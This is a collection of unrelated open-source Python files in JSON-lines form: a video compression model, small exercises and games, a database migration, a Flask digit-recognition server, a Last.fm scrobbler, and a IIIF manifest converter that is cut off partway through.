torch.nn.functional as F\nfrom torch.nn import init\nimport math\nimport numpy as np\n\nfrom .layers import MVCompressor, ResidualCompressor, Mask\nfrom .flow import Network\n\ndevice = torch.device(\"cuda\")\n\n\nclass Model(nn.Module):\n def __init__(self):\n super(Model, self).__init__()\n \n self.FlowNet = Network()\n for p in self.FlowNet.parameters():\n p.requires_grad = True\n \n self.mv_compressor = MVCompressor()\n self.residual_compressor = ResidualCompressor()\n self.masknet = Mask()\n\n self.upsample_flow = nn.Upsample(scale_factor=4, mode='bilinear')\n \n def forward(self, x_before, x_current, x_after, train):\n \n \n N, C, H, W = x_current.size()\n num_pixels = N * H * W\n \n flow_ba = F.avg_pool2d(self.FlowNet(x_before, x_after) / 2., 4)\n flow_ab = F.avg_pool2d(self.FlowNet(x_after, x_before) / 2., 4)\n\n nn,cc,hh,ww = flow_ab.size()\n\n flow_ba = self.pad(flow_ba)\n flow_ab = self.pad(flow_ab)\n\n flow_cb = F.avg_pool2d(self.FlowNet(x_current, x_before), 4)\n flow_ca = F.avg_pool2d(self.FlowNet(x_current, x_after), 4)\n\n flow_cb = self.pad(flow_cb)\n flow_ca = self.pad(flow_ca)\n \n diff_flow = torch.cat([flow_cb - flow_ab, flow_ca - flow_ba], dim=1)\n flow_result = self.mv_compressor(diff_flow)\n \n flow_cb_hat, flow_ca_hat = torch.chunk(flow_result[\"x_hat\"], 2, dim=1)\n flow_cb_hat = flow_cb_hat + flow_ab\n flow_cb_hat = self.upsample_flow(flow_cb_hat[:, :, :hh, :ww])\n flow_ca_hat = flow_ca_hat + flow_ba\n flow_ca_hat = self.upsample_flow(flow_ca_hat[:, :, :hh, :ww])\n \n fw, bw = self.backwarp(x_before, flow_cb_hat), self.backwarp(x_after, flow_ca_hat)\n \n mask = self.masknet(torch.cat([fw, bw], dim=1)).repeat([1, 3, 1, 1])\n \n x_current_hat = mask*fw + (1.0 - mask)*bw\n \n residual = x_current - x_current_hat\n residual_result = self.residual_compressor(residual)\n residual_hat = residual_result[\"x_hat\"]\n \n x_current_hat = residual_hat + x_current_hat\n \n rate_flow = sum(\n (torch.log(likelihoods).sum() / (-math.log(2) * num_pixels))\n for likelihoods in flow_result[\"likelihoods\"].values()\n )\n \n rate_residual = sum(\n (torch.log(likelihoods).sum() / (-math.log(2) * num_pixels))\n for likelihoods in residual_result[\"likelihoods\"].values()\n )\n \n size_flow = sum(\n (torch.log(likelihoods).sum() / (-math.log(2)))\n for likelihoods in flow_result[\"likelihoods\"].values()\n )\n \n size_residual = sum(\n (torch.log(likelihoods).sum() / (-math.log(2)))\n for likelihoods in residual_result[\"likelihoods\"].values()\n )\n \n \n \n if train:\n return x_current_hat, (rate_flow + rate_residual)/2.\n else:\n return x_current_hat, (rate_flow + rate_residual)/2., size_flow.item() + size_residual.item()\n \n \n def pad(self, im):\n (m,c,w,h) = im.size()\n\n p1 = (64 - (w % 64)) % 64\n p2 = (64 - (h % 64)) % 64\n\n pad = nn.ReflectionPad2d(padding=(0, p2, 0, p1))\n return pad(im)\n \n\n def backwarp(self, tenInput, tenFlow):\n\n tenHor = torch.linspace(-1.0 + (1.0 / tenFlow.shape[3]), 1.0 - (1.0 / tenFlow.shape[3]),\n tenFlow.shape[3]).view(1, 1, 1, -1).expand(-1, -1, tenFlow.shape[2], -1)\n tenVer = torch.linspace(-1.0 + (1.0 / tenFlow.shape[2]), 1.0 - (1.0 / tenFlow.shape[2]),\n tenFlow.shape[2]).view(1, 1, -1, 1).expand(-1, -1, -1, tenFlow.shape[3])\n\n backwarp_tenGrid = torch.cat([ tenHor, tenVer ], 1).to(device)\n # end\n\n tenFlow = torch.cat([ tenFlow[:, 0:1, :, :] / ((tenInput.shape[3] - 1.0) / 2.0),\n tenFlow[:, 1:2, :, :] / ((tenInput.shape[2] - 1.0) / 2.0) ], 1)\n\n return torch.nn.functional.grid_sample(input=tenInput,\n grid=(backwarp_tenGrid + tenFlow).permute(0, 2, 3, 1),\n mode='bilinear', padding_mode='border', align_corners=False)\n","repo_name":"makinyilmaz/LHBDC","sub_path":"model/m.py","file_name":"m.py","file_ext":"py","file_size_in_byte":4438,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"37"} +{"seq_id":"4561070735","text":"lista = []\r\nc = 0\r\nwhile True:\r\n n = int(input(f'Digite um valor inteiro:'))\r\n if n not in lista:\r\n lista.append(n)\r\n print('Valor adicionado com sucesso....')\r\n else:\r\n print('Valor já contém na lista, não é possível adicionar novamente.')\r\n pergunta = str(input('Deseja continuar?[S/N]')).upper()\r\n if pergunta in 'N':\r\n break\r\nlista.sort()\r\nprint(f'A lista digitada foi {lista}.')\r\n\r\n","repo_name":"talitaruiz/Python-Files","sub_path":"Ex079_Valores_unicos_em_uma_lista.py","file_name":"Ex079_Valores_unicos_em_uma_lista.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"1333603448","text":"\"\"\"Setup database\n\nRevision ID: 57483612a5ef\nRevises:\nCreate Date: 2021-09-14 08:18:58.803394\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '57483612a5ef'\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('accounts',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('number', sa.String(), nullable=True),\n sa.Column('total_size', sa.Float(), nullable=True),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('number')\n )\n op.create_table('configurations',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('key', sa.String(), nullable=False),\n sa.Column('value', sa.String(), nullable=False),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('key')\n )\n op.create_table('trades',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('ticker', sa.String(), nullable=False),\n sa.Column('amount_ordered', sa.Float(), nullable=True),\n sa.Column('ordered_at', sa.DateTime(), nullable=True),\n sa.Column('order_status', sa.String(), nullable=False),\n sa.Column('filled', sa.Float(), nullable=False),\n sa.Column('remaining', sa.Float(), nullable=True),\n sa.Column('price_at_order', sa.Float(), nullable=True),\n sa.Column('order_type', sa.String(), nullable=True),\n sa.Column('order_id', sa.Integer(), nullable=True),\n sa.Column('stop_order_id', sa.Integer(), nullable=True),\n sa.Column('current_stop', sa.Float(), nullable=True),\n sa.Column('current_position_size', sa.Float(), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n with op.batch_alter_table('trades', schema=None) as batch_op:\n batch_op.create_index(batch_op.f('ix_trades_order_id'), ['order_id'], unique=True)\n batch_op.create_index(batch_op.f('ix_trades_stop_order_id'), ['stop_order_id'], unique=True)\n\n op.create_table('watched_tickers',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('ticker', sa.String(), nullable=False),\n sa.Column('high', sa.Float(), nullable=True),\n sa.Column('low', sa.Float(), nullable=True),\n sa.Column('price', sa.Float(), nullable=True),\n sa.Column('adr', sa.Float(), nullable=True),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('ticker')\n )\n op.create_table('trade_activities',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('when', sa.DateTime(), nullable=False),\n sa.Column('activity_type', sa.String(), nullable=False),\n sa.Column('quantity', sa.Float(), nullable=True),\n sa.Column('trade_id', sa.Integer(), nullable=False),\n sa.ForeignKeyConstraint(['trade_id'], ['trades.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('trade_activities')\n op.drop_table('watched_tickers')\n with op.batch_alter_table('trades', schema=None) as batch_op:\n batch_op.drop_index(batch_op.f('ix_trades_stop_order_id'))\n batch_op.drop_index(batch_op.f('ix_trades_order_id'))\n\n op.drop_table('trades')\n op.drop_table('configurations')\n op.drop_table('accounts')\n # ### end Alembic commands ###\n","repo_name":"pareeohnos/ktrade","sub_path":"migrations/versions/57483612a5ef_setup_database.py","file_name":"57483612a5ef_setup_database.py","file_ext":"py","file_size_in_byte":3325,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"74094183","text":"import time\n\ndef GetTime():\n Now = time.asctime()\n Now = Now.split(' ')\n hour = Now[3].split(':')[0]\n minute = Now[3].split(':')[1]\n return int(hour), int(minute)\n\ndef TimeDifrence(hour1, min1, hour2, min2):\n minute = 0\n if hour1 == hour2:\n minute = max(min1, min2) - min(min1, min2)\n elif hour1 > hour2:\n minute += 60 - min2\n minute += min1\n minute += (hour1 - hour2 - 1) * 60\n else:\n minute += 60 - min1\n minute += min2\n minute += (hour2 - hour1 - 1) * 60\n\n return minute\n","repo_name":"Mojtaba-Gh/Signal","sub_path":"MyTime.py","file_name":"MyTime.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72398660267","text":"from TensorNAS.Core.Block import Block\n\n\nclass ParallelMidBlock(Block):\n def get_keras_layers(self, input_tensor):\n import tensorflow as tf\n\n tmp = input_tensor\n\n for sb in self.input_blocks:\n tmp = sb.get_keras_layers(tmp)\n\n mid_output_tensors = []\n\n for sb in self.middle_blocks:\n mid_output_tensors.append(sb.get_keras_layers(tmp))\n\n tmp = tf.keras.layers.concatenate([tmp] + mid_output_tensors)\n\n for sb in self.output_blocks:\n tmp = sb.get_keras_layers(tmp)\n\n return tmp\n","repo_name":"alxhoff/TensorNAS","sub_path":"Tools/TensorFlow/ParallelMidBlock.py","file_name":"ParallelMidBlock.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"41476968410","text":"import os\nimport sys\nimport time\nimport webbrowser\n\nimport pylast\n\nfrom scrobbler import Scrobbler\n\ndef main():\n try:\n lastfm_api_key = os.environ.get(\"LASTFM_API_KEY\")\n lastfm_secret = os.environ.get(\"LASTFM_SECRET\")\n\n lastfm_network = pylast.LastFMNetwork(api_key=lastfm_api_key, api_secret=lastfm_secret)\n lastfm_session_key_generator = pylast.SessionKeyGenerator(lastfm_network)\n lastfm_auth_url = lastfm_session_key_generator.get_web_auth_url()\n\n webbrowser.open_new_tab(lastfm_auth_url)\n\n input(\"Press any key to continue after you've authorized this application in Last.fm...\")\n\n lastfm_session_key, lastfm_username = lastfm_session_key_generator.get_web_auth_session_key_username(lastfm_auth_url)\n\n lastfm_network = pylast.LastFMNetwork(api_key=lastfm_api_key, api_secret=lastfm_secret, session_key=lastfm_session_key)\n scrobbler = Scrobbler(lastfm_network=lastfm_network, lastfm_username=lastfm_username)\n\n while True:\n track = scrobbler.get_now_playing_track()\n scrobbler.scrobble(track)\n\n time.sleep(60)\n except Exception as err:\n print(\"Problem with internet connection or Last.fm network\\n\", err)\n sys.exit(1)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"maszaa/wappuradio-scrobbler","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"34931878202","text":"import pygame\nfrom Main.missile import Missile\nfrom Main.vector import Vector\nfrom Main.sound_manager import SoundManager\n\n\nclass Rocket(Missile):\n radius = 150\n damage = 10\n stat_size = (12, 24)\n tag = \"rocket\"\n\n def __init__(self, rect, owner, direction=Vector(0, -1)):\n super().__init__(rect, owner, direction)\n self.set_state(self.State.ALIVE)\n SoundManager.sound_rocket_shot()\n\n @classmethod\n def init(cls):\n cls.frame_sets = dict()\n cls.add_frames(\"rocket\", 1, cls.State.ALIVE, cls.stat_size)\n cls.add_frames(\"explosion\", 5, cls.State.EXPLODING, (cls.radius*2, cls.radius*2))\n\n def set_state(self, new_state):\n if self.state is new_state:\n return\n if new_state is self.State.EXPLODING:\n SoundManager.sound_rocket_shot_stop()\n SoundManager.sound_bomb_explosion()\n self.rect = pygame.Rect(self.rect.left + self.stat_size[0] - self.radius, self.rect.top - self.radius,\n self.radius * 2, self.radius * 2)\n super().set_state(new_state)\n\n def update(self, screen):\n if self.state is self.State.EXPLODING:\n self.active = False\n return super().update(screen)\n","repo_name":"Roshoy/SpaceInvader","sub_path":"Main/rocket.py","file_name":"rocket.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"72328986666","text":"import pandas as pd\nimport numpy as np\n\ndf_list = []\nfor time_number in xrange(1,8):\n\tname = 'time.%s.log'%time_number + '.max.lr.log'+'.csv'\n\tdf_list.append(pd.read_csv(name))\n\tkeys = []\n\trs = {}\n\tcols = ['epoch','hidden/loss','knn/MSE','precision','recall']\n\tfor t in enumerate(df_list[0].itertuples(index=False)):\n\t\tr = t[1]\n\t\tfor c in cols:\n\t\t\tkeys.append((r.type, r.lr, c))\n\tfor k in keys:\n\t\trs[k] = []\n\tfor df in df_list:\n\t\tfor k in keys:\n\t\t\trs[k].append(df[df.type == k[0]][df.lr == k[1]][k[2]].values[0])\n\tfor k in keys:\n\t\ttry:\n\t\t\trs[k].append(np.mean(rs[k]))\n\t\t\trs[k].append(np.std(rs[k]))\n\n\t\texcept Exception as e:\n\t\t\tpass\n\ndf = pd.DataFrame.from_dict(rs,'index')\ndf['index'] = df.index\n\ndf['type'] = df['index'].apply(lambda x:x[0])\ndf['lr'] = df['index'].apply(lambda x:x[1])\ndf['val'] = df['index'].apply(lambda x:x[2])\n\ndf = df.drop('index',axis=1)\ncolumns = list(df.columns[-3:]) + list(df.columns[-5:-3]) + list(df.columns[:-5])\ndf = df[columns]\ndf.columns = list(df.columns[:3]) + ['mean','std'] + [i+1 for i in list(df.columns[5:])]\ndf = df.sort_values(by=list(df.columns[:3]))\ndf.to_csv('all.csv',index=False)\n\n\n\n","repo_name":"h8ful/ae","sub_path":"clean result/variance.py","file_name":"variance.py","file_ext":"py","file_size_in_byte":1132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39217871283","text":"# Import the required module for text\n# to speech conversion \nfrom gtts import gTTS\n\n\n# Text that will be converted to audio\nmytext = \"Hi, I am your friendly, neighbour hood Assistant, Buddy!\"\n\n# Language in which you want to convert, generally its english\nlanguage = 'en'\n\n# Passing the text and language to the engine, here we have marked slow=False. Which tells the module that the converted audio should have a high speed\nmyobj = gTTS(text=mytext, lang=language, slow=False)\n\n# Saving the converted audio in a mp3 file named welcome\nmyobj.save(\"welcome.mp3\")\n\n","repo_name":"therss99here/BUD-DI","sub_path":"Recog.py","file_name":"Recog.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3409274541","text":"\"\"\"MDSuite script input module.\"\"\"\nimport typing\n\nimport mdsuite.file_io.file_read\nfrom mdsuite.database.simulation_database import TrajectoryChunkData, TrajectoryMetadata\n\n\nclass ScriptInput(mdsuite.file_io.file_read.FileProcessor):\n \"\"\"\n For testing purposes. Does not actually process files, instead uses data given\n on instantiation.\n \"\"\"\n\n def __init__(\n self, data: TrajectoryChunkData, metadata: TrajectoryMetadata, name: str\n ):\n \"\"\"\n Provide all the data needed for this class to act as a FileProcessor\n Parameters\n ----------\n data\n metadata\n name : A unique name for this dataset. Used to prevent multiple adding of the\n same data.\n \"\"\"\n self.data = data\n self.mdata = metadata\n self.name = name\n\n mdsuite.file_io.file_read.assert_species_list_consistent(\n data.species_list, metadata.species_list\n )\n if self.data.chunk_size != self.metadata.n_configurations:\n raise ValueError(\"Data must be provided in one chunk\")\n\n def __str__(self):\n return self.name\n\n def _get_metadata(self) -> TrajectoryMetadata:\n return self.mdata\n\n def get_configurations_generator(\n self,\n ) -> typing.Iterator[mdsuite.file_io.file_read.TrajectoryChunkData]:\n yield self.data\n","repo_name":"zincware/MDSuite","sub_path":"mdsuite/file_io/script_input.py","file_name":"script_input.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"37"} +{"seq_id":"28790129481","text":"import random\n\nuser_wins = 0\ncomputer_wins = 0\ncomputer_states = {1: \"rock\", 2: \"paper\", 3: \"scissors\"}\n\n\nwhile True:\n user_input = input(\"Type Rock/Paper/Scissors or q to quit: \")\n computer_throw = computer_states[random.randint(1, 3)]\n if user_input.lower() == \"q\":\n print(f\"Total Scores: User Wins = {user_wins} | Computer Wins = {computer_wins}\")\n quit()\n\n if user_input.lower() not in [\"rock\", \"paper\", \"scissors\"]:\n print(\"Invalid input, try again\")\n continue\n\n if computer_throw == user_input.lower():\n print(f\"Computer threw {computer_throw}\")\n print(\"Tie\")\n continue\n elif computer_throw == \"rock\":\n if user_input.lower() == \"paper\":\n print(f\"Computer threw {computer_throw}, you win\")\n user_wins += 1\n else:\n print(f\"Computer threw {computer_throw}, computer wins\")\n computer_wins += 1\n elif computer_throw == \"paper\":\n if user_input.lower() == \"rock\":\n print(f\"Computer threw {computer_throw}, you win\")\n user_wins += 1\n else:\n print(f\"Computer threw {computer_throw}, computer wins\")\n computer_wins += 1\n else:\n if user_input.lower() == \"rock\":\n print(f\"Computer threw {computer_throw}, you win\")\n user_wins += 1\n else:\n print(f\"Computer threw {computer_throw}, computer wins\")\n computer_wins += 1\n \n print(f\"You have {user_wins} wins, Computer has {computer_wins} wins\")\n\n","repo_name":"rep-pierce/python_mini_projects","sub_path":"rock_paper_scissors.py","file_name":"rock_paper_scissors.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4952987688","text":"import numpy as np\nimport pandas as pd\nfrom pandas import DataFrame, Series\n\n#zcolumns = ['First Name', 'Last Name']\n\nzendata = pd.read_csv('ZenAcc.csv')\nzendata_sorted = zendata.sort_values('Full name') \nprint(zendata_sorted)\n\nmsdata = pd.read_csv('MSUsers.csv')\nprint(msdata)\n\nmerged = pd.concat([zendata, msdata])\nfinal_merged = merged.drop_duplicates(subset='Last name', keep=False)\nprint(final_merged)","repo_name":"MJGarrigan21/namocsv","sub_path":"namo.py","file_name":"namo.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"12555137416","text":"from flask import Flask, request\nfrom flask_cors import CORS\nimport tensorflow as tf\nimport numpy as np\nimport json\n\n\nmodel = tf.keras.models.load_model(\"recognizer\")\napp = Flask(__name__)\nCORS(app)\n\n\ndef predictNumber(image, model):\n predictions = model.predict(image).reshape(10)\n predictions = list(zip(predictions, range(predictions.size)))\n return sorted(predictions, reverse=True)[0][1]\n\n\n@app.route(\"/\", methods=['GET'])\ndef home():\n with open(\"index.html\") as file:\n return file.read()\n\n\n@app.route(\"/styles.css\")\ndef get_route():\n with open(\"styles.css\") as file:\n return file.read()\n\n\n@app.route('/predict', methods=['POST'])\ndef predict():\n image = np.array(request.json)\n image = (image / 255.0).reshape(1, 28, 28, 1)\n return \"{}\".format(predictNumber(image, model))\n\n\napp.run(\"0.0.0.0\", 3000, debug=True)\n","repo_name":"Oketaiw/letter","sub_path":"old/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29796751686","text":"import json\nimport sys\nfrom os import listdir\nfrom os.path import join, abspath, dirname\nfrom shutil import copy\n\n# settings\nCONVERT_INFO_CANVAS_BODIES = True\nCONVERT_INFO_CANVAS_POPUP = True\nPRESERVE_ANNO_LABELS = True\n\nPAINTING_ANNO_THUMBS = \"Annotation\" # Leave thumbnails on `painting` annos\n# PAINTING_ANNO_THUMBS = \"Image\" # Or move them to the anno body\n\nMOVE_SINGLE_PAINTING_ANNO_THUMB_TO_CANVAS = True # e.g., for videos\n\nITEMS_ANNOS_COUNT = 0\nITEMS_ANNOS_WITH_LABELS_COUNT = 0\nITEMS_ANNOS_WITH_SUMMARIES_COUNT = 0\nANNOS_WITHOUT_LABELS = []\nANNOS_WITHOUT_SUMMARIES = []\nREMOVED_ANNOS = []\nANNOS_WITH_NO_DESC = []\nCANVAS_GAINED_THUMBNAIL_FROM_BODY = []\n\n# See https://github.com/IIIF/iiif-av/issues/27\n# and see https://gist.github.com/stephenwf/a1339aa170a2e80fa120f86027b89f46\n# via https://digirati.slack.com/archives/D0E15T142/p1663263077484059\n# YOUTUBE_CONVERT = \"Objectifier\" # Tells the client what tag to render\n# YOUTUBE_CONVERT = \"Service\" # lets the client decide but client must recognise form\nYOUTUBE_CONVERT = \"Both\"\n\n\ndef convert_folder(old_folder):\n print(f\"source: {old_folder}\")\n this_dir = dirname(abspath(__file__))\n # copy the source manifest here for easier comparison later\n # Don't use these as sources for conversion though, we want the latest ones.\n copied_source_folder = join(this_dir, \"copied_source\")\n new_folder = join(this_dir, \"converted\")\n print(f\"dest: {new_folder}\")\n manifests = []\n for exhibition in sorted(listdir(old_folder)):\n source_file = join(old_folder, exhibition)\n copy(source_file, copied_source_folder)\n with open(source_file, encoding=\"utf-8\") as source:\n print(f\"Converting {exhibition}\")\n manifest = json.load(source)\n new_manifest = convert_manifest(manifest, exhibition)\n manifests.append({\n \"id\": f\"converted/{exhibition}\",\n \"original\": f\"copied_source/{exhibition}\",\n \"label\": new_manifest[\"label\"][\"en\"][0],\n \"homepage\": new_manifest[\"homepage\"][1][\"id\"]\n })\n with open(join(new_folder, exhibition), 'w', encoding='utf-8') as dest:\n json.dump(new_manifest, dest, ensure_ascii=False, indent=4)\n with open(join(this_dir, \"manifests.json\"), 'w', encoding='utf-8') as mini_coll:\n json.dump(manifests, mini_coll, ensure_ascii=False, indent=4)\n\n print(f\"ITEMS_ANNOS_COUNT: {ITEMS_ANNOS_COUNT}\")\n print(f\"ITEMS_ANNOS_WITH_LABELS_COUNT: {ITEMS_ANNOS_WITH_LABELS_COUNT}\")\n print(f\"ITEMS_ANNOS_WITH_SUMMARIES_COUNT: {ITEMS_ANNOS_WITH_SUMMARIES_COUNT}\")\n print(f\"ANNOS_WITHOUT_LABELS: {len(ANNOS_WITHOUT_LABELS)}\")\n print(ANNOS_WITHOUT_LABELS)\n print(f\"ANNOS_WITHOUT_SUMMARIES: {len(ANNOS_WITHOUT_SUMMARIES)}\")\n print(ANNOS_WITHOUT_SUMMARIES)\n print(f\"ANNOS_WITH_NO_DESC: {len(ANNOS_WITH_NO_DESC)}\")\n print(ANNOS_WITH_NO_DESC)\n print(f\"CANVAS_GAINED_THUMBNAIL_FROM_BODY: {len(CANVAS_GAINED_THUMBNAIL_FROM_BODY)}\")\n print(CANVAS_GAINED_THUMBNAIL_FROM_BODY)\n\n\ndef convert_manifest(manifest, filename):\n slug = filename.replace(\".json\", \"\")\n\n # Do all the things\n\n # Old versions had the W3C context as well, not required\n # however we may need to add a custom context for the behaviors\n set_context(manifest)\n\n # We'll add the live exhibition link to each manifest for convenience\n set_homepage(manifest, slug)\n\n # labels are already valid language maps\n\n for canvas in manifest[\"items\"]:\n print(f\"converting canvas {canvas['id']}\")\n convert_canvas(canvas)\n\n return manifest\n\n\ndef set_context(manifest):\n manifest[\"@context\"] = \"http://iiif.io/api/presentation/3/context.json\"\n\n\ndef set_homepage(manifest, slug):\n manifest[\"homepage\"] = [\n {\n \"id\": f\"https://heritage.tudelft.nl/nl/exhibitions/{slug}\",\n \"type\": \"Text\",\n \"format\": \"text/html\",\n \"language\": [\"nl\"]\n },\n {\n \"id\": f\"https://heritage.tudelft.nl/en/exhibitions/{slug}\",\n \"type\": \"Text\",\n \"format\": \"text/html\",\n \"language\": [\"en\"]\n },\n ]\n\n\ndef convert_canvas(canvas):\n\n if canvas[\"id\"] == \"https://delft-static-site-generator.netlify.com/iiif/1f05178d-9382-53b9-cd33-86ffd19f0476/canvas/f5868dbe-e170-33d5-1623-9aa2dfbb6635\":\n print(\"here\")\n\n normalise_behavior(canvas)\n\n if \"info\" in canvas[\"behavior\"]:\n convert_info_canvas(canvas)\n return\n\n convert_tour_steps_to_descriptive_annos(canvas)\n\n move_thumbnails_from_painting_annos_to_their_bodies(canvas)\n\n remodel_cropped_painting_annos(canvas)\n\n handle_rotations(canvas)\n\n remodel_av_and_3d_painting_annos(canvas)\n\n ensure_body_services_are_arrays(canvas)\n\n\ndef convert_tour_steps_to_descriptive_annos(canvas):\n \"\"\"\n painting annotations (check that the body is an image) under canvas.items retain their labels and summaries.\n\n canvases retain their labels, summaries and required statement.\n\n If the anno body is a TextualBody it gets removed from the painting annos altogether, it's ONLY a describing anno.\n Tours will be run from the describing annos, moving the user around the canvas.\n\n If a canvas.items only has one anno and it's a painting anno, leave as-is (?) - it's not a tour!\n You don't need to make a describing anno for it.\n\n motivation[\"describing\"]\n \"\"\"\n anno_page = required_single_item(canvas)\n for_removal = []\n expected_body_types = [\"Image\", \"Video\", \"TextualBody\"]\n for anno in anno_page[\"items\"]:\n\n if anno[\"body\"][\"type\"] not in expected_body_types:\n raise ValueError(f\"Unexpected anno body type: {anno['body']['type']}\")\n\n update_anno_counters(anno)\n\n label = anno.get(\"label\", None)\n summary = anno.get(\"summary\", None)\n\n if label is None and summary is None:\n # maps are an example of this\n # https://delft-static-site-generator.netlify.com/iiif/1f05178d-9382-53b9-cd33-86ffd19f0476/canvas/f5868dbe-e170-33d5-1623-9aa2dfbb6635\n # they stay as plain painting annos but for now we'll still make them tour steps\n # raise ValueError(f\"anno without label or summary: {anno}\")\n pass\n\n # if (label is not None or summary is not None) and len(anno_page[\"items\"]) > 1:\n if len(anno_page[\"items\"]) > 1:\n # For our initial migration, it's both a painting anno and a tour step\n # But later we can have tour steps that are not painting annos\n annotations = canvas.get(\"annotations\", None)\n if annotations is None:\n # create an annotations property for the canvas\n annotations = [{\n \"type\": \"AnnotationPage\",\n \"id\": f\"{canvas['id']}/annotations\",\n \"items\": []\n }]\n canvas[\"annotations\"] = annotations\n describing_anno = {\n \"id\": f\"{canvas['id']}/annotations/{ITEMS_ANNOS_COUNT}\",\n \"type\": \"Annotation\",\n \"motivation\": \"describing\", # says \"this is a tour\", but we could have a \"tour\" motivation\n \"target\": { # target the painting annotation\n \"id\": anno[\"id\"],\n \"type\": \"Annotation\"\n }\n # There is no \"body\", just use the info on the painting anno - unless it's a TextualBody\n }\n\n canvas[\"annotations\"][0][\"items\"].append(describing_anno)\n\n nl_body = get_html_from_label_and_summary(anno, \"nl\", True)\n en_body = get_html_from_label_and_summary(anno, \"en\", True)\n if nl_body is None and en_body is None:\n # log for information\n ANNOS_WITH_NO_DESC.append(anno[\"id\"])\n elif anno[\"body\"][\"type\"] == \"TextualBody\":\n for_removal.append(anno) # later we'll take this out of canvas.items\n id_root = f\"{anno['id']}/desc\"\n describing_anno[\"body\"] = []\n describing_anno[\"target\"] = anno[\"target\"]\n if nl_body is not None:\n describing_anno[\"body\"].append(make_textual_body(nl_body, \"text/html\", \"nl\", f\"{id_root}/nl\"))\n if en_body is not None:\n describing_anno[\"body\"].append(make_textual_body(en_body, \"text/html\", \"en\", f\"{id_root}/en\"))\n\n if len(for_removal) > 0:\n print(f\"{len(for_removal)} TextualBody annos to remove from the painting annos\")\n for moved in for_removal:\n anno_page[\"items\"].remove(moved)\n REMOVED_ANNOS.append(moved[\"id\"])\n\n\ndef update_anno_counters(anno):\n global ITEMS_ANNOS_COUNT\n global ITEMS_ANNOS_WITH_LABELS_COUNT\n global ITEMS_ANNOS_WITH_SUMMARIES_COUNT\n global ANNOS_WITHOUT_LABELS\n global ANNOS_WITHOUT_SUMMARIES\n\n global ITEMS_ANNOS_COUNT, ITEMS_ANNOS_WITH_LABELS_COUNT, ITEMS_ANNOS_WITH_SUMMARIES_COUNT\n ITEMS_ANNOS_COUNT += 1\n label = anno.get(\"label\", None)\n if label is not None:\n ITEMS_ANNOS_WITH_LABELS_COUNT += 1\n else:\n ANNOS_WITHOUT_LABELS.append(anno[\"id\"])\n summary = anno.get(\"summary\", None)\n if summary is not None:\n ITEMS_ANNOS_WITH_SUMMARIES_COUNT += 1\n else:\n ANNOS_WITHOUT_SUMMARIES.append(anno[\"id\"])\n\n\ndef normalise_behavior(canvas):\n # I think the canvas behaviors can be rationalised a little\n print(\"Converting behaviors from\")\n print(canvas[\"behavior\"])\n behaviors = set(canvas[\"behavior\"]) # de-dupe\n canvas[\"behavior\"] = []\n w_ = [x for x in behaviors if x.startswith(\"w-\")][0]\n h_ = [x for x in behaviors if x.startswith(\"h-\")][0]\n if \"info\" in behaviors:\n canvas[\"behavior\"].append(\"info\")\n else:\n if \"row\" in behaviors or \"left\" in behaviors:\n canvas[\"behavior\"].append(\"left\") # we might remove this if there is no summary - see novieten.json\n elif \"column\" in behaviors or \"bottom\" in behaviors:\n canvas[\"behavior\"].append(\"bottom\") # (there is no top)\n elif \"right\" in behaviors:\n canvas[\"behavior\"].append(\"right\")\n canvas[\"behavior\"].append(w_)\n canvas[\"behavior\"].append(h_)\n print(\"to\")\n print(canvas[\"behavior\"])\n\n\ndef convert_info_canvas(canvas):\n \"\"\"\n An info canvas has no media on it, but shows text directly, and links to a pop-up with longer text.\n In the old version, the canvas has label and summary that are displayed directly, and the text annotation\n has label and summary that are displayed in the pop-up.\n \"\"\"\n if canvas[\"height\"] != 1000 or canvas[\"width\"] != 1000:\n raise ValueError(\"Info canvas has unexpected dimensions\")\n if get_value(canvas[\"label\"]) is None:\n raise ValueError(\"Info canvas has no label\")\n if 